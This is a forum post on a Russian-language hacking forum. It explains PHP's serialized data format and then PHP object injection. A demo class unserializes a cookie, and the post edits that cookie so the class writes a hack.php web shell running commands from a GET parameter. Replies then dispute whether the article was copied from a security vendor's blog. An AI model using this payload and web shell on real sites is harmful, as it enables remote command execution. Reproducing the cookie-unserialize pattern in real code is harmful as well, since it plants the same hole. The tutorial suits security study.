• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья PHP Object Injection

cyberman

CD-диск
Забанен
Регистрация
15.04.2020
Сообщения
12
Реакции
10
Пожалуйста, обратите внимание, что пользователь заблокирован
PHP Serialized Data Structure
Serialize function; It is a function written in PHP to make an object, array or a variable portable. A serialized object has an understandable and reversible structure.

For example, the serialized version of an object produced from a class such as “Cybero” is as follows.



Code:
Код:
<?php

class Cybero{

    public $publicVar = "cybero";
    protected $protectedVar = "company";
    private $privateVar = "shamkir";

    public $intVar = 21;
    public $decimalVar = 2.1;
    public $array = ["string", 13];

    public function publicFunc(){
        echo $this->publicVar;
    }

    protected function protectedFunc(){
        echo $this->protectedVar;
    }

    private function privateFunc(){
        echo $this->privateVar;
    }

}

$ns = new Cybero;
var_dump(serialize($ns));
Output:
Код:
O:10:"Cybero":6:{s:9:"publicVar";s:4:"cybero";s:15:"*protectedVar";s:5:"company";s:22:"CyberoprivateVar";s:10:"shamkir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}


We will have to analyze the structure of serialized data in 7 different ways. These 7 figures are;

  1. Object
  2. String variable
  3. Protected class variable
  4. Private class variable
  5. Integer variable
  6. Decimal variable
  7. Array
1. Object


Код:
O:10:"Cybero":6:{s:9:"publicVar";s:4:"cybero";s:15:"*protectedVar";s:5:"company";s:22:"CyberoprivateVar";s:10:"shamkir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}

  • O (capital letter O); Object means it is an object.
  • : (Colon); Serialized structure is delimiter between type and size.
  • 10 ; The size of the class name (in bytes)
  • Cybero ; Class name.
  • { (Open ornate brackets); Beginning of other elements in Class
  • } (Close curly brace); End of other elements in Class
  • 6 ; How many elements are there in Class.
Let's come to the elements of the class.

The elements are parsed among themselves with a semicolon (;). After the structure is fully parsed according to the semicolon, 2 elements are taken in turn. The first of these elements is the name of the variable, and the second is the value in the variable.

1.String Variable
Код:
s:9:"publicVar";s:4:"cybero";


  • p: 9 :; Variable's name size (in bytes)
  • “PublicVar” ; Variable's name.
  • s (Small S); Variable's type is string.
  • 4 ; Value size (in bytes).
  • “cybero”; value
3. Protected class variable
Код:
s:15:"*protectedVar";s:5:"company";


  • p: 15 :; Variable's name size (in bytes)
  • “protectedVar”; Variable’ın name’i
  • s (Small S); Variable's type is string.
  • 5 ; Value size (in bytes).
  • "Company" ; value
There is a point to be considered here. Q: Although it says 15, “* protectedVar” is 13 bytes. It shows an extra 2 bytes. The reason is “(null_byte) * (null_byte)” in front of its name if it is variable protected. So there is a null byte to the left and right of the asterisk (*).

The image below shows the hex of the output. Since it is read as hex, null bytes are clearly visible.
obj_inj_1.png


4. Private class variable
Код:
s:22:"CyberoprivateVar";s:10:"shamkir";


  • p: 22 :; Variable's name size (in bytes)
  • “CyberoprivateVar”; Variable’ın name’i
  • s (Small S); Variable's type is string.
  • 10 ; Value size (in bytes).
  • “shamkir”; value
There is also a point to be considered here. Although "CyberoprivaVar" is 20 bytes, it said 22 bytes. Similar to Protected; if variable is private, the name is preceded by "(null_byte) ClassName (null_byte)". You can see the null bytes more clearly in the picture I gave in the protected section.

5. Integer variable
Код:
s:6:"intVar";i:21;

  • p: 6 :; Variable's name size (in bytes)
  • “IntVar” ; Variable's name
  • i (Little İ); Variable's type is integer.
  • 21; value

The point to be considered here is; If variable is inter, the size of value is not after type. It only writes the type and value.

6. Decimal variable
Код:
s:10:"decimalVar";d:2.1000000000000001;

  • p: 10 :; Variable's name size (in bytes)
  • “decimalVar”; Variable’ın name’i
  • d (Little D); Variable's type is decimal.
  • 2.1000000000000001; value
Just like integer, the size of the value is not included here.
7. Array
Код:
s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}

  • p: 5 :; Variable's name size (in bytes)
  • “array”; Variable’ın name’i
  • a (Little A); Variable's type is array.
  • 2 ; There were 2 elements in the ar
Код:
i:0;s:6:"string";i:1;i:13;

  • i: 0; s: 6 :; The element with index 0 is string and 6 bytes.
  • "String" ; The value of the element with index 0
  • i: 1; i: 13 :; The element with index 1 is integer and its value is 13 customers.
Object Injection Vulnerability
Object Injection; It is a weakness that occurs as a result of passing the data received from the user through the "unserialize ()" function in PHP . “Unserialize ()” function; It creates a PHP variable passed through the "serialize ()" function to be used again.

If serialized variable; if it is an object derived from a class; The class's "__wakeup" method will be triggered automatically, as it already re-creates a serialized and stored data .

Although it is not mentioned in the official documentation of PHP ; When a serialized data is passed through the unserialize function, the "__wakeup ()" along with the "__destruct ()" method is also triggered.

At the beginning of the article, I wrote that the variables of a serialized object can be interfered with. This is precisely the crucial point of weakness.

If the unserialized object is derived from the class's __wakeup or __destruct methods in themselves; If the class uses the public, protected or private variable; Since the attacker can change the values of these variables over serialized data, the system can be affected by weakness.

For example , the structure of our class called LogClass that performs logging operation is as follows:
Код:
class LogClass{

    public $logFile = ‘log.txt’;
    public $log = ‘triggered __wakeup method’;

    function __wakeup(){
        $f = fopen($this->logFile, "a");
        fwrite($f, date("d.m.Y H:i:s").’ - ’.$this->log.PHP_EOL);
        fclose($f);
    }

}

if(!isset($_COOKIE["log"])){
    $logger = new LogClass;
    setcookie("log", base64_encode(serialize($logger)));
}

unserialize(base64_decode($_COOKIE["log"]));

Whenever this code runs, $ log variable will be written to the log.txt file .
qaqa.jpg




Let's edit the cookie, whose name is “log”, with Cookie Manager or an alternative tool, and carry out an attack.

In our attack, we will create a file called hack.php and place a piece of code that will create a Remote Command Execution vulnerability.


When we decode Base64 encoded data, we reach serialized data as below.
Код:
O:8:"LogClass":2:{s:7:"logFile";s:7:"log.txt";s:3:"log";s:25:"triggered __wakeup method";}


We need to rearrange the data for the attack as follows. In order to run a remote command, we need a PHP file that will run the command from us on the server.

We change “log.txt” to “hack.php”. Since the number of bytes increases from 7 to 8, we make “s: 7” to “s: 8”.

Likewise, "triggered __wakeup method" which is the value to be written in "log.txt"; will execute the command from us from the "cmd" parameter with the GET method on the server "<? php echo exec ($ _ GET [" cmd "])); We change it to?> ”. Since the number of bytes increases from 25 to 33, we make “p: 25” to “p: 33”.

After making these changes, our serialized data will be as follows.
[KOD] O: 8: "LogClass": 2: {s: 7: "logFile"; s: 8: "hack.php"; s: 3: "log"; s: 33: "<? Php echo exec ($ _GET ["cmd"]);?> ";} [/ KODE]

Since the system requests this data from us as base64, we pass our serialized data to base64 encode process and reach an output like the one below.



Finally, we save our base64 output to the cookie named “log” through Cookie Manager . And once you refresh the page, the hack.php file will be created.

qw.png
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Это всё хорошо но лучше переведите на русский (или найдите человека который вам её переведёт .)
Форум у нас в основном русскоязычный так что думаю это логично
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это всё хорошо но лучше переведите на русский (или найдите человека который вам её переведёт .)
Форум у нас в основном русскоязычный так что думаю это логично
thank you for your nice words) I came to the decision to write an english since I don't know Russian well :)
 
Ложь, пиздешшш и ваще провокация, бан нахуй. Мало того что инфы море, так еще и выбрал самую пресловутую статью без типов с одной методой.
Пруф.
Даже пикчи те же ыыыыы :D
 
try to translate on deepl.com, it could work with small fixes
Всё он умеет пользоваться переводчиком :D С турецкого же перевел. Думает тут дебилы сидят. С офф блога нетспаркера дернул :D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ложь, пиздешшш и ваще провокация, бан нахуй. Мало того что инфы море, так еще и выбрал самую пресловутую статью без типов с одной методой.
Пруф.
Даже пикчи те же ыыыыы :D
I am the author of that article, I used to work in the company of netsparker. my aim was to share information, not to be a prey hunter :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх